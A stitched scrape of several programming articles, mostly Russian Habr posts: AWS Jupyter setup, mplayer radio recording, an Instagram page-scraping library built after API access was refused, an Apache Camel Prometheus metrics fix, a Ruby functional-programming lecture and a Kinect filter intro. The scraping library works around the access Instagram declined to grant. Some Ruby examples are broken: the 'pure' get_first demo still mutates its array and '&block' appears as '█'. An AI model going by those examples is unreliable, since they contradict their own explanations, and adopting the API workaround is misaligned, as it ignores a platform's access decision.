c.NotebookApp.port = 8888\n" >> ~/.ipython/profile_nbserver/ipython_notebook_config.py
```
Последнее, что мы делаем только на удаленной машине — запускаем IPython-сервер.
(Почему IPython, а не Jupyter?.. Почему certfile явно указан? Ответ простой: костыли. Jupyter не хотел видеть config-файл, а потом не хотел в нем видеть настройки файла сертификата. Проверьте, может, у Вас и с командой jupyter запустится, и без явного указания файла настройки и сертификата).
```
ipython notebook --config="~/.ipython/profile_nbserver/ipython_notebook_config.py" --certfile=jupyter.pem
```
Если все прошло удачно, Вы увидите в конце прочитаете что-то типа этого.
```
[I 10:09:08.774 NotebookApp] Serving notebooks from local directory: /home/ubuntu
[I 10:09:08.775 NotebookApp] 0 active kernels
[I 10:09:08.775 NotebookApp] The Jupyter Notebook is running at: https://[all ip addresses on your system]:8888/
[I 10:09:08.775 NotebookApp] Use Control-C to stop this server and shut down all kernels (twice to skip confirmation).
```
Профит
------
Теперь переходим в браузере на [HOST](https://HOST):8888, где HOST — это, по-прежнему, адрес вашего инстанса. **Внимание!** Протокол должен быть именно HTTPS, может также понадобиться подтверждение сертификата. (Например, в Chrome надо ткнуть «Дополнительные» и подтвердить переход на сайт).
Вводим свой пароль (тут уже, само собой, не хэшированный, а «обычный») и видим приятную картинку — файловую систему из Jupyter.
Создаем новый блокнот и радуемся обилию ядер под капотом.
Теперь вернемся в терминал (нашего компа, а не удаленной машины) и закинем на наш инстанс какой-нибудь набор данных. Скажем, из соревнования Kaggle "[Forest Cover Type Prediction](https://www.kaggle.com/c/forest-cover-type-prediction)".
```
scp -i .pem ubuntu@:/~
```
Про машинное обучение, конечно, интересно поговорить, но тут мы просто запустим случайный лес Sklearn на сырых данных.
Обратите внимание на параметр n\_jobs — тут мы как раз и задействуем все 16 ядер.
1000 деревьев максимальной глубины 15 обучились ~ за 5 секунд — в 3 раза быстрее, чем на моем MacBook Air c 4 ядрами и 4 Гб памяти. На больших выборках разница, конечно, будет существенней.
То же самое скриптом
--------------------
Процесс можно автоматизировать. С помощью Python Amazon SDK по имени [boto](https://github.com/boto/boto) можно и резервирование спотового инстанса скриптом делать. Но пока мы посмотрим на скрипты, которые готовят машину для работы с Jupyter уже после того, как она запустилась.
Все это — в [репозитории](https://github.com/Yorko/aws_jupyter_anaconda) Github.
Всего понадобятся 3 файла:
* В config.txt записываете путь к своему pem-файлу, хост свеже выданного инстанса, а также хэшированный пароль доступа к Jupyter-серверу, который мы создавали чуть раньше.
```
pemfile='.pem'
host=''
jupyter\_password=''
```
* В remote\_setup.sh дописываете все, что хотите выполнить на удаленной машине.
```
# Installing Miniconda
wget -c http://repo.continuum.io/miniconda/Miniconda-latest-Linux-x86_64.sh
bash Miniconda-latest-Linux-x86_64.sh -b -p /home/ubuntu/miniconda
export PATH=/home/ubuntu/miniconda/bin:$PATH
#Installing neccesary libraries
conda install -y numpy scipy pandas scikit-learn jupyter
#Can add whatever you want to install
#sudo apt-get -qq install vowpal-wabbit
#sudo apt-get -qq install git
ipython profile create nbserver
printf "\n# Configuration file for ipython-notebook.\n
c = get_config()\n
# Notebook config\n
c.NotebookApp.password = u'"$1"'\n
c.NotebookApp.ip = '*'\n
c.NotebookApp.open_browser = False\n
c.NotebookApp.port = 8888\n" > ~/.ipython/profile_nbserver/ipython_notebook_config.py
ipython notebook --config="~/.ipython/profile_nbserver/ipython_notebook_config.py" --certfile=jupyter.pem
```
* Скрипт launch\_remote\_setup.sh просто выполняет remote\_setup.sh с нужными параметрами на удаленной машине.
```
source 'config.txt'
scp -i $pemfile ./ipython.pem ubuntu@$remote_host:~
ssh -i $pemfile ubuntu@$remote_host 'bash -s' < remote_setup.sh $jupyter_password
```
В нужном каталоге выполните:
```
sh launch_remote_setup.sh
```
5-7 минут, и все! Можно работать с Jupyter-сервером.
Уже собрался было налить чаю. **Но! Очень важный момент!**
По окончании работы остановите ваш инстанс.
EC2 -> Instances -> Actions -> Instance State -> Terminate.
Именно terminate, а не stop (хотя для спотовых это только и доступно). Но в случае запуска инстансов по требованию stop не полностью выключает машину, могут набегать деньги за обмен данными.
Напоследок можно немного обсудить финансы. Текущий счет проверяется в Amazon при нажатии на свое имя и потом на «Billing & Cost Management».
$0.25 / час — это около $25 в месяц, если пользоваться по 4 часа каждый будний день. Дальше каждый сам решает, готов ли на такие траты.
Можно тут прорекламировать и [GitHub Student Developer's Pack](https://education.github.com/pack) — я лично с их помощью получил сертификат Amazon на $110, все еще им пользуюсь. Кроме того, для серьезных научных проектов можно получить и грант Amazon.
Заключение
----------
На этом пока все. Думаю, для некоторых это был jump-start в Amazon Web Services EC2. Дадим своим машинкам отдохнуть ночью!
PS. Замечания / советы / обмен опытом / pull request'ы приветствуются. | https://habr.com/ru/post/280562/ | null | ru | null |
# Запись интернет-радио из консоли Linux
Технически реализовать это безобразие помогает Mplayer, который умеет очень многое из консоли. Помимо проигрывания музыки, Mplayer умеет записывать радиостанции (причем вовремя записи их не нужно слушать).
Для начала у вас должен быть установлен этот плеер. В операционной системе Ubuntu это делается следующей командой:
```
sudo apt-get install mplayer
```
Для того чтобы записать радиостанцию, нужно в консоли выполнить вот такую команду:
```
mplayer http://radiosibir.ru:8090/HQ -dumpstream -dumpfile recorded_music_sibir.mp3 -vc dummy -vo null
```
Здесь:
*[radiosibir.ru](http://radiosibir.ru):8090/HQ* — ссылка на радио-поток;
*recorded\_music\_sibir.mp3* — файл, в который будем записывать.
Кстати, все это дело можно поставить на какую-нибудь удобную комбинацию клавиш. Таким образом, мы получаем легкую возможность записи интернет-радио в Linux в фоновом режиме. | https://habr.com/ru/post/165119/ | null | ru | null |
# Что делать если Instagram не дал доступ к API?
1 июня 2016 года Instagram [отключит](http://techcrunch.com/2015/11/17/just-instagram/) от своего API все приложения, которые не прошли модерацию. Что делать если вы в их числе?
### **Предыстория**
Мы делаем сервис для постинга в Instagram по расписанию и используем API для получения информации об аккаунтах. Самим постингом занимаются телефоны в автоматическом режиме. Нам отказали в доступе к API после 1 июня (пробовали пройти модерацию два раза) поэтому было решено найти замену.
Сначала расскажу как мы использовали официальный API:
1. При добавлении аккаунта забираем из Instagram информацию об аккаунте: имя, фото профайла, количество постов, подписчиков, подписок.
2. Перед тем как опубликовать фото/видео мы запрашиваем количество постов, и тоже самое после публикации, если число постов увеличилось считаем публикацию успешной.
3. Если публикация прошла успешно забираем ссылку на последнее фото в профайле.
4. Если пользователь удаляет фото из нашего сервиса, то перед тем как выполнить задачу нужно проверить существует ли такой пост в Instagram (или его удалили).
### **Реализация**
У Instagram есть [веб-версия](http://instagram.com). С помощью нее [в приватных](https://www.instagram.com/raiym/) аккаунтах можно получить информацию о количестве постов, подписок и подписчиков, а [в публичных](https://www.instagram.com/kevin/) еще и сами посты, комментарии и лайки. Поэтому, в силу простоты получения, я подумал, что уже написаны подобные библиотеки. Пошел гуглить и нашел только для [NodeJS](https://github.com/slang800/instagram-screen-scrape). И для [PHP](https://gist.github.com/cosmocatalano/4544576) нашелся какой-то код, но всем четырем пунктам не соответствовал. В итоге было решено писать свою библиотеку.
Не буду вдаваться в детали, так как вы можете посмотреть [код на GitHub](https://github.com/raiym/instagram-php-scraper). Расскажу только ключевые моменты.
#### **Получение информации об аккаунте**
Если зайти в профайл (например, [instagram.com/kevin](https://instagram.com/kevin)) и посмотерть исходный код страницы, то прокрутив вниз можно увидеть зашитый прямо в страницу JSON объект с информацией об аккаунте.
Довольно просто вытаскиваем его (для удобства я использовал [mashape/unirest-php](https://github.com/Mashape/unirest-php)), парсим и записываем в массив:
```
$response = Request::get('https://instagram.com/kevin');
$pageString = $response->body();
$arr = explode('window._sharedData = ', $pageString);
$json = explode(';', $arr[1]);
$userArray = json_decode($json[0], true);
$userData = $userArray['entry_data']['ProfilePage'][0]['user'];
echo $userData['username']; // Теперь можно делать вот так
echo $userData['follows']['count'] // или вот так
echo $userData['is_private']; // ну вы поняли
```
#### **Получение всех постов в аккаунте**
Как оказалось, можно получить готовый JSON последних 20 постов добавив к URL аккаунта `/media`: `https://instagram.com/kevin/media`
Но, что делать если нам нужны все посты? Достаточно добавлять в URL параметр `max_id` с `id` последнего поста из 20-ки в цикле, пока все посты не кончатся: `https://instagram.com/kevin/media?max_id=id`. Для удобства даже есть поле `more_available`, которое принимает значение `true` или `false`.
#### **Информация об отдельном посте**
Что если у вас есть ссылка на пост в Instagram (например, [www.instagram.com/p/9BDXa\_L7bm](https://www.instagram.com/p/9BDXa_L7bm/)) и вы хотите получить о нем информацию? Тоже самое, что и со страницей профайла, туда вшит JSON с данными о посте.
Тоже как в первом пункте: вытаскиваем, парсим и, бум, у нас есть инфо о посте.
#### **Бонус. Как получить фото из Instagram в лучшем качестве?**
Самое лучшее качество фотографии в Instagram на данный момент `1080` пикселей. Но наше решение отдает лишь `640`.
Методом тыка мы поняли, что если, например, заменить в URL фото
```
https://scontent.cdninstagram.com/t51.2885-15/s640x640/sh0.08/e35/12950481_1753078061593396_874826488_n.jpg
```
часть с `640x640` на `1080x1080`:
```
https://scontent.cdninstagram.com/t51.2885-15/s1080x1080/sh0.08/e35/12950481_1753078061593396_874826488_n.jpg
```
То получим фото в максимально возможном качестве.
#### **Заключение**
В нашем случае с помощью библиотеки удалось полностью перекрыть потребности в API от Instagram.
Репозиторий: [github.com/raiym/instagram-php-scraper](https://github.com/raiym/instagram-php-scraper)
Почти тоже самое на Java: [github.com/raiym/instagram-java-scraper](https://github.com/raiym/instagram-java-scraper)
Сайт проекта: [postaddict.me](https://postaddict.me)
**Update:** Большое спасибо [simpel](https://habrahabr.ru/users/simpel/) и [toly](https://habrahabr.ru/users/toly/) за информацию. На основе ваших комментариев были перписаны запросы к Instagram и добавлены новые.
**Update 2 (2 декабря 2016):** Развитие библиотеки ушло довольно далеко после публикации данной статьи (добавлены: получение информации о пользователе по id, получение комментариев, пагинация по тегам, получение фото в лучшем доступном качестве, поиск и т.д.), поэтому советуем смотреть репозиторий.
**Update 3 (16 марта 2017):** Пару дней назад Instagram обновился. Теперь, например, для получения фотографий по тегу требуется авторизация. Сегодня добавили это в библиотеку. | https://habr.com/ru/post/302150/ | null | ru | null |
# Enabling Apache Camel metrics in Spring Boot Actuator Prometheus
### Contents
* [Intro](#intro)
* [Popular approach](#popular_approach)
* [Problem](#problem)
* [Path to find the solution](http://path_to_find_solution)
* [Final solution](http://final_solution)
* [Conclusion](#conclusion)
### Intro
Once I had a task to enable Apache Camel metrics. Those metrics was purposed to count number of rejected and passed request through routes.
Input:
* Spring Boot (2.5.6) for dependency injection on a service, security, providing REST API for settings.
* Apache Camel (3.13.0) for routing, throttling and passing metrics about each route to /actuator/prometheus (in our case).
* Micrometer (1.18.0) for collecting metrics and providing them for gathering through /actuator/prometheus.\
### Popular approach
Most common approach, which I have met over the internet (at least in articles since 2016 and in a lots of videos) is next:
* Adding next dependency:
```
org.apache.camel.springboot
camel-micrometer-starter
```
* Adding next propery into **application.properties** file:
```
camel.component.metrics.metric-registry=prometheusMeterRegistry
```
* Adding next code into [@Configuration](/users/Configuration) class:
```
@Bean
public CamelContextConfiguration camelContextConfiguration() {
return new CamelContextConfiguration() {
@Override
public void beforeApplicationStart(CamelContext camelContext) {
camelContext.addRoutePolicyFactory(new MicrometerRoutePolicyFactory());
camelContext.setMessageHistoryFactory(new MicrometerMessageHistoryFactory());
}
@Override
public void afterApplicationStart(CamelContext camelContext) {
}
};
}
```
By messages and results on the videos I have seen that this approach should lead to adding default metrics of Apache Camel on the page **/actuator/prometheus** such as **CamelMessageHistory\_seconds\_count**. Also it should enable the ability to add custom metrics though something like that **micrometer:counter:simple.counter**
### Problem
In my case I had a problem with this approach. It just **doesn't work** on my project.
### Path to find the solution
1. Made an assumption that approach stated earlier was written some time ago and combined different versions of dependencies (at that time I had some flexibility in making those decisions):
* Spring Boot 2.4.2 - 2.5.6
* Apache Camel 3.8.0 - 3.13.0
* io.micrometer 1.7.2 - 1.8.0
2. Checked my code for typos. During that process found several typos in different related placed over the internet including Apache Camel documentation (for example it was about similarity of syntax **metrics:** and **micrometer**)
3. Lots of debugging of different places of my service and Apache Camel, Spring Boot, Micrometer.
4. During the debugging I have figured out that **micrometer:** bean "doesn't see" **prometheusMeterRegistry**.
5. Tried to add **PrometheusMeterRegistry** by myself:
```
@Bean(name = { MicrometerConstants.METRICS_REGISTRY_NAME })
public PrometheusMeterRegistry prometheusMeterRegistry() {
return new PrometheusMeterRegistry(PrometheusConfig.DEFAULT);
}
```
6. Previous step didn't solve the problem completely. I have received metrics through **/actuator/metrics** (both default Apache Camel metrics and added with java code). But I have no Apache Camel metrics pulled from **/actuator/prometheus**. And there is no metrics ("simple.counter") added with **micrometer:counter:simple.counter**.
7. Metrics definitions can be added with next code:
```
@Bean
public void initCounter(MeterRegistry meterRegistry) {
Counter.builder("simple.counter")
.register(meterRegistry);
}
```
8. After previos step there no those metrics at **/actuator/prometheus** they have only constant value - 0 at **/actuator/metrics**.
9. After some more debugging I have found out that there is 3 MeterRegistry objects in CamelContext (one JmxMeterRegistry and two PrometheusMeterRegistry). This is an indicator that there is an extra PrometheusMeterRegistry added during app initialization.
10. Yep, there is spring-boot-actuator-autoconfigure which has code with initialization of it's own PrometheusMeterRegistry.
### Final (my) solution
Final solution looks something like this:
* Add dependency
```
org.apache.camel.springboot
camel-micrometer-starter
```
* Add this [@Bean](/users/Bean) definition:
```
@Bean(name = { MicrometerConstants.METRICS_REGISTRY_NAME, "prometheusMeterRegistry" })
public PrometheusMeterRegistry prometheusMeterRegistry(
PrometheusConfig prometheusConfig, CollectorRegistry collectorRegistry, Clock clock) {
return new PrometheusMeterRegistry(prometheusConfig, collectorRegistry, clock);
}
```
With this approach we're having only two MeterRegistry objects into the context - one JmxMeterRegistry and one PrometheusMeterRegistry. And this PrometheusMeterRegistry is visible and accessible for both Apache Camel and Spring Boot Actuator.
And we finally able to see the results of this solution - at **/actuator/prometheus** there is accessible Apache Camel default metrics. Also custom metrics can be added and updated with common Apache Camel's syntax:
part of the content from /actuator/prometheus### Conclusion
During this article I've shown my way and working solution to integrate Apache Camel and Spring Boot Actuator metrics with passing those metrics to Prometheus. | https://habr.com/ru/post/657495/ | null | en | null |
# Курс по Ruby+Rails. Часть 3. Функциональное программирование
Привет! Сегодня мы поговорим про функциональное программирование. В Ruby реализован исключительно гибкий объектно-ориентированный стиль. И как бы он ни был хорош, он имеет свою цену: иногда для реализации сложных алгоритмов и систем он слишком гибкий.
В Ruby нет строгих соглашений о типах, он реализовывает и поощряет «утиную типизацию». Это удобно, но может обернуться некорректностью программы, если программист не будет самостоятельно тщательно следить за качеством кода.
Особенно это болезненно для алгоритмов, в которых надёжность важнее скорости прототипирования. Иногда (а на самом деле довольно часто) нам нужен код, который не будет подобен молотку, видоизменяющемуся и улучшающемуся прямо в процессе работы. В идеальной ситуации веб-программист должен создавать приложения, которые обрабатывают данные надёжно, понятно и логично.
В объектно-ориентированном стиле программирования привнесённую сложность принято снижать паттернами, практиками, принципами. Многие из них мы разберём в следующих лекциях. А сейчас посмотрим на стиль программирования, который был изначально придуман для создания логичных и изящных алгоритмов — функциональное программирование. Ruby поддерживает его «из коробки».
Функциональное программирование существует в мире программирования давно, правда, долгое время все его изучение было скорее заботой теоретиков. Со временем, однако, полезных знаний накопилось достаточно много, чтобы начать их использовать в программировании широкого профиля. Сегодня практически невозможно найти язык, в котором нет всех основных элементов функционального программирования.
Основные принципы функционального программирования
--------------------------------------------------
Давайте посмотрим на основные принципы и разберём примеры кода, которые реализуют довольно сложные операции. Мы изучим, какие в Ruby есть инструменты функционального стиля.
Итак, принципы:
* Во-первых, программа в функциональном стиле — это сложное выражение, в котором функции применяют функции. «Применение функций» — аналог термина «вызов процедур» процедурного стиля. Функции применяют функции — запомним это как аксиому, чтобы понимать, как работает всё остальное.
* Во-вторых, функции должны быть чистыми. То есть код должен быть построен так, чтобы функция, применённая к одним и тем же аргументам, возвращала одно и то же значение, не важно где и как мы используем её. Чистая функция не изменяет своё окружение. Функции, которые изменяют окружение (например, выполняют ввод-вывод или мутируют, как методы, состояние своего объекта), выделяются в специальные участки кода, которые мы строго контролируем при помощи тестов.
* В-третьих, переменные, объекты и состояния не изменяются. Функция может сконструировать и вернуть новый объект, но не станет изменять переданные ей аргументы. Этот принцип перекликается со вторым, оговорки и ограничения у него такие же (если нужно, умный компилятор сам сделает внутреннее представление программы наиболее эффективной, а программист будет работать с логически чистым кодом).
Эти три принципа составляют костяк ФП. Этот стиль ограничивает программиста в правах на произвольное изменение состояния системы. Взамен программист получает логически строгий и непротиворечивый код без «подводных камней», а машина, то есть рантайм языка программирования — возможность генерировать максимально эффективный, корректный и безопасный код с наименьшими затратами.
Давайте сделаем небольшое отступление. На самом деле каждый стиль программирования накладывает на программиста какие-то ограничения в обмен на уменьшение сложности и увеличение читаемости кода.
Процедурный стиль не позволяет собирать все инструкции в одну большую кучу, структурный — использовать `GOTO` и скакать по алгоритму, как захочется, объектно-ориентированный — выполнять над объектами действия, не предусмотренные чётко определёнными методами, функциональный — запрещает случайные мутации состояния объектов в отдельности и состояния системы в целом.
Посмотрите на простой пример, чтобы понять, как работают принципы функционального программирования на практике.
Функция `get_first` делает своё дело, однако её автор ошибся и забыл, что в Ruby в данном контексте `Array#shift` мутирует аргумент, и после каждого применения `get_first` первоначальный массив будет меняться:
```
def get_first(array)
array.shift
end
```
Поддерживать такой код будет тяжело. Изменение массива придётся учитывать при дальнейшей разработке с этой функцией, документировать и тщательно тестировать состояние системы во избежание неожиданностей. Такое поведение функции называется «побочным эффектом» или просто «эффектом».
Реализуем её иначе на следующем примере:
```
arr = [1,2,3,4,5]
get_first(arr)
#> 1
arr
#> [2, 3, 4, 5]
```
Здесь `get_first` является чистой функцией: результат зависит только от аргумента, побочного эффекта нет. Мы учли пару несложных принципов, применили ФП в чистом виде, а взамен получили код без сюрпризов.
Инструменты ФП
--------------
Сами принципы, которые мы разобрали до этого, Ruby оставляет на совести программиста. Вместе с тем, для создания эффективных функциональных алгоритмов есть целый набор готовых инструментов. Мы пройдёмся по списку свойств, важных для программирования в функциональном стиле, и рассмотрим, как они реализованы в Ruby.
ФП предполагает, что функция — это самостоятельный полноценный объект, семантически равноправный со всеми остальными объектами языка (это называется first-class object). Она должна иметь возможность существовать как анонимный объект и присваиваться переменным. Ещё функции должны иметь возможность принимать другие функции в аргументах и возвращать тоже функции — в таком случае они называются функциями высшего порядка.
В Ruby описанные свойства предусмотрены конструкцией языка: выражения, блоки и возможность строить объекты с любым поведением, включая применение (в терминах функционального программирования функции не вызывают, а применяют) к предъявленным аргументам, возможность свободно присваивать эти объекты переменным/константам и передавать в качестве аргументов.
«Пощупать» функции высшего порядка мы можем с помощью блоков, которые рассматривали в лекции об императивном стиле как управляющие конструкции.
Посмотрите на пример. В Ruby блок может быть единственным или последним аргументом метода. В связке «метод-блок» он выступает в качестве анонимной функции, а метод, принимающий его как параметр — как функция высшего порядка:
```
# возвести все элементы массива в квадрат
[1, 2, 3, 4, 5].map { |x| x ** 2 }
#> [1, 4, 9, 16, 25]
# суммировать квадраты всех элементов массива
[1, 2, 3, 4, 5].map { |x| x ** 2 }.reduce(0) { |acc, x| x + acc }
#> 55
```
Кстати, реализация функций `map/reduce` для базовых коллекций — must have любого уважающего себя функционального языка, а в Ruby они определены в стандартном модуле `Enumerable` и могут использоваться для любых стандартных и пользовательских классов, использующих этот модуль — `Array`, `Hash` и так далее.
Давайте сделаем аналогичные методы вручную — мы тут же заметим несколько любопытных деталей:
```
class MyCollection
def initialize(*args) # превращение аргументов в массив объектов
@collection = args
end
attr_reader :collection
alias to_a collection # теперь у нас есть конвертор в массив — `to_a`
def <<(element) # а теперь — оператор `<<` — добавление в конец
collection << element
end
# два след. метода реализуем максимально наивно — императивно
def map
new_collection = MyCollection.new
for x in collection
new_collection << yield(x)
end
new_collection
end
def reduce(acc_init)
acc = acc_init
for x in collection
acc = yield(acc, x)
end
acc
end
end
coll = MyCollection.new(1, 2, 3, 4, 5)
#> #
coll.map { |x| x \*\* 2 }
#> #
coll.reduce(0) { |acc, x| acc + x }
#> 15
coll.map { |x| x \*\* 2 }
.reduce(0) { |acc, x| acc + x }
#> 55
```
На примере — минимальный, «наивный» `map/reduce`. Наша версия отличается от классической использованием итерации вместо рекурсии в методах `map` и `reduce` и использованием императивного типа `Array` вместо функционального списка. К тому же, мы «заперли» императивную семантику внутри чистых функций, поэтому наш подход можно в целом считать функциональным.
Блок играет роль анонимной функции, передаваемой в функцию высшего порядка в качестве аргумента. Внутри функции высшего порядка вызов `yield` применяет анонимную функцию-блок к аргументам `yield`, которые становятся значениями параметров в блоке.
У `yield` есть одна интересная особенность. Обратите внимание: блок не вычисляется немедленно при вызове применяемого к нему метода. Он «ждёт», пока его выполнение понадобится вызывающему методу, и выполняется только в момент передачи ему управления в вызове `yield`. В таком случае говорят, что блок имеет ленивую семантику — значение вычисляется только в момент востребования. Ленивая семантика — одна из отличительных черт функционального стиля. Аналогичным образом работают все блоки в Ruby.
Итак, анонимные функции-блоки — первый функциональный примитив, который мы встречаем в Ruby.
А что, если нам нужны функции высшего порядка, которые принимают произвольное количество анонимных функций, а не только последней в списке, да и ещё и синтаксически обособленной? Могут ли блоки быть совершенно самостоятельными объектами, а не просто синтаксическим дополнением к умным методам?
И тут мы перейдём к классу `Proc`.
Повнимательнее рассмотрим метод, принимающий блок. В примере мы пользуемся синтаксисом, явно выделяющим блок в аргументах. Заодно вытаскиваем `map` из нашего специального класса и играем с ним как с отдельной функцией:
```
def map(array, █)
puts 'The block is:'
p block
new_array = []
for x in array
new_array << yield(x)
end
new_array
end
map([1, 2, 3, 4, 5]) { |x| x ** 2 }
# The block is:
#
#> [1, 4, 9, 16, 25]
```
Ruby верен своей семантике: блок — это самостоятельный объект, экземпляр класса `Proc`. Класс `Proc` определяет объекты с методом `call` — то есть, функциональные объекты. В ФП-стиле они, как можно понять, идентичны анонимным функциям. Посмотрите на пример, `proc`'и можно создавать из блоков специально:
```
proc { |x| x ** 2 }
#> #
```
Образующиеся функции можно присваивать переменным и передавать аргументами в функции высшего порядка — то есть, `proc`'и — это объекты первого класса. Это мы видим на иллюстрации:
```
f = proc { |x| x ** 2 }
#> #
f.call(4)
#> 16
# альтернативный синтаксис вызова proc-а
f[4]
#> 16
```
Для ряда классов определён метод `to_proc`. В повседневной практике мы пользуемся его реализаций в классе `Symbol` для сокращения кода, как в примере:
```
(3 + 2).then { |x| x.to_s }
```
С только что изученным синтаксисом можно без изменений использовать написанный нами ранее пример `map/reduce`. Например, так:
```
coll
#> #
coll.reduce(0, &:+)
#> 15
```
Давайте объясню, как это работает. При наличии оператора `&` в аргументе, Ruby выполняет метод `to_proc` символа `:+`, который ищет подходящий по имени метод в текущем лексическом контексте и формирует `proc` с требуемыми аргументами и вызовом найденного метода. В контексте нашего `reduce` это создаёт блок вида `{ |x, y| x + y }`, который и выполняется в нужном месте. Проверим эту семантику отдельно от использующего блок метода:
```
plus = :+.to_proc
=> #
plus[1, 2]
=> 3
```
Лямбды
------
Вы заметили слово `lambda` в описании proc-объекта в предыдущем примере?
Слово «лямбда» пришло в программирование из лямбда-исчисления — изобретения математика и логика Алонзо Чёрча, который вместе с Аланом Тьюрингом считается одним из отцов информатики. Лямбды — это разновидность proc-объектов с некоторыми особенностями. Давайте их рассмотрим на примере:
```
f_proc = proc { |x| puts "=> #{x}" }
f_lambda = lambda { |x| puts "=> #{x}" }
f_proc.class
#> Proc
f_lambda.class
#> Proc
[54] pry(main)> f_proc.call
# =>
#> nil
f_lambda.call
# ArgumentError: wrong number of arguments (given 0, expected 1)
```
Обычный `proc` позволяет вызывать себя без аргументов, подменяя их на `nil` при исполнении. Лямбды ведут себя как совсем настоящие функции и такого не позволяют. Следующая особенность связана с обработкой оператора `return`. Посмотрите на пример:
```
f_lambda = -> { puts "in"; return } # альтернативный синтаксис для лямбд
f_proc = proc { puts "in"; return }
def fun_test(f)
puts "before"
f[]
puts "after"
end
fun_test f_lambda
# before
# in
# after
#> nil
fun_test f_proc
# before
# in
# LocalJumpError: unexpected return
```
При использовании оператора `return`, `proc` осуществляет экстренный выход из метода, который его использует. Лямбда выходит сама, но не прерывает выполнение метода, в котором её вызвали. Таким образом, `proc` ведёт себя скорее как управляющая конструкция, блок, а лямбда — как самостоятельная функция. Это часто используется в функциональном Ruby — в повседневной жизни и в библиотеках вы встретите в основном их, а не `proc`'и. Блоки, лямбды и `proc`'и — примеры анонимных функций в Ruby.
Теперь посмотрим на класс `Method`. Время от времени возникает необходимость использовать в качестве анонимной функции метод какого-либо объекта. Например, нужно передать в объект, выполняющий сложную прикладную логику, метод другого объекта. На этот случай можно воспользоваться объектами класса `Method`:
```
class Validators
attr_reader :msg_prefix
def initialize
@msg_prefix = "Multiple criteria validator:"
end
def positive_validator(value)
return true if value > 0
puts "#{msg_prefix} the value isn't positive"
false
end
# ... другие валидаторы
def validator(name)
method(:"#{name}_validator")
end
end
class Validating
attr_reader :validator
def initialize(validator)
@validator = validator
end
def validate(value)
validator[value]
end
end
is_positive = Validators.new.validator(:positive)
#> #
Validating.new(is\_positive).validate(-4)
# Multiple criteria validator: the value isn't positive
#> false
```
Главная особенность Method-объектов в том, что они «помнят» контекст своего родного объекта, будучи отделёнными от него в виде анонимных функций. Эта магия называется «замыканием» и также входит в состав функциональных примитивов Ruby.
Замыкания
---------
Полезное свойство лямбд и `proc`'ов — это лексический захват, который возникает, когда анонимные функции определяются внутри других функций. Такой приём используется при программировании, например, генераторов и называется замыканием или `closure`. Такое поведение возникает из-за того, что область видимости переменных внешней функции видима и захватывается, или замыкается внутренней. С точки зрения семантики языка, замыкание — это функция, у которой в качестве дополнительного параметра присутствует лексическое окружение. Посмотрите на пример генератора на замыкании:
```
def multiple_of(m)
->(n) { n * m } # лямбда видит m и захватывает её
end
mul_3 = multiple_of 3 # это генератор
(1..4).each { |x| puts mul_3[x] }
# 3
# 6
# 9
# 12
```
Замыкания широко используются как в базовых и стандартных библиотеках Ruby, так и во фреймворке Ruby on Rails.
Коротко про пользовательские функциональные объекты. В Ruby ничто не мешает нам написать класс, единственным публичным методом которого будет `call`, а сам класс будет реализовывать сложную внутреннюю логику. Объекты, инстанциированные из такого класса, будут называться функциональными. Вот пример класса функционального объекта из реального приложения:
```
class ClearTokens < BaseInteractor
include Dry::Monads[:result]
TOKENS = %i[evrone_access_token evrone_refresh_token].freeze
param :cookies
def call
Success(
TOKENS.each { |tok| cookies.delete tok }
)
end
end
```
Карринг
-------
Карринг базируется на довольно массивном математико-логическом фундаменте. В его основе — представление о том, что функция нескольких аргументов всегда может быть запрограммирована, как комбинация нужного количества функций на одном аргументе. Некоторые функциональные языки программирования целиком построены на этом представлении. На практике карринг означает, что из функции с некоторым количеством аргументов можно сделать функцию с меньшим количеством аргументов, абстрагируя то действие, которое совершается с «базовыми» аргументами. Далее будет пример вычисления, запрограммированного с каррингом.
Пусть в некотором алгоритме нужно часто выполнять умножение с некоторым количеством дополнительных действий и с журналированием (например, это бухгалтерские вычисления):
```
def heavy_multiply(a, b)
puts "Осторожно умножаем #{a} на #{b}"
# тысяча вспомогательных операций
a * b
end
```
Через некоторое время обнаруживается, что самая частая операция в алгоритме — это умножение на 100\_500, причём с теми же формальностями. Настало время сделать функцию, которая абстрагирует действие умножения на 100\_500. Карринг позволяет породить такую функцию, частично применяя первоначальный метод к меньшему числу аргументов:
```
heavy_multiply_by_100500 = method(:heavy_multiply).curry[100_500]
#> => #
heavy\_multiply(100500, 85)
# Осторожно умножаем 100500 на 85
#> 8542500
heavy\_multiply\_by\_100500[85]
# Осторожно умножаем 100500 на 85
#> 8542500
```
Это, конечно, изолированный учебный пример. Поэтому посмотрите real-life кейс, в котором достаточно сложная логика уместилась в две строки — всё за счёт карринга и использования лямбд:
```
def call_interactor( # rubocop:disable Metrics/ParameterLists
interactor,
context,
status: :ok,
error_status: :bad_request,
on_success: method(:render_jsonapi),
on_error: method(:render_error)
)
interactor.call(**context)
.either(on_success.curry[status], on_error.curry[error_status])
end
```
Композиция функций
------------------
Мы собираем нескольких функций, складывая их имена при помощи специального бинарного оператора. Смотрите, например, мы определили три функции:
```
increment = ->(x) { x + 1 }
decrement = ->(x) { x - 1 }
double = ->(x) { x * 2 }
```
Затем нам нужно последовательно вызвать их, чтобы каждая получала в качестве аргумента результат выполнения предыдущей:
```
increment[increment[double[decrement[5]]]]
#> 10
```
Получается довольно громоздкая запись. Её можно превратить в более изящную, используя композицию функций:
```
chain_computation = decrement >> double >> increment >> increment
#> #
chain\_computation[5]
#> 10
```
Для функциональных объектов определены операторы композиции `<<` и `>>`. Направление шеврона указывает порядок производимых операций.
Мы разобрали базовые инструменты Ruby, обеспечивающие программирование в функциональном стиле. Эти инструменты в связке с ООП-ядром позволяют писать лаконичный, легко поддерживаемый, логически связный и надёжный код в сложных приложениях.
Понимаем, тема сложная, поэтому пишите нам свои вопросы в комментариях, мы будем рады помочь. | https://habr.com/ru/post/692656/ | null | ru | null |
# Фильтруем людей или как заблюрить одного человека на видео
Добрый день. Хочу предложить вам небольшую статью о своей работе с кинектом.
Сейчас я делаю небольшую часть рекламного проекта, где используется кинект. Одной из задач является «наложение фильтра» на одного человека в толпе. Об этом и поговорим.
В работе использую OpenNI, OpenCV и Visual Studio 2010.
#### Начало
Раньше я никогда плотно не работал с изображениями, поэтому не представлял с какой стороны браться за дело. После непродолжительных размышлений сложилась такая схема:
1 — получаю картинку с обычной камеры;
2 — получаю userPixels (пиксели, которые принадлежат пользователю);
3 — делаю копию картинки и применяю фильтр;
4 — те пиксели, которые помечены как «пользовательские» перерисовываю из картинки с фильтром в исходное изображение.
Примерный план понятен, поехали!
Объявим нужные переменные.
```
xn::Context context;
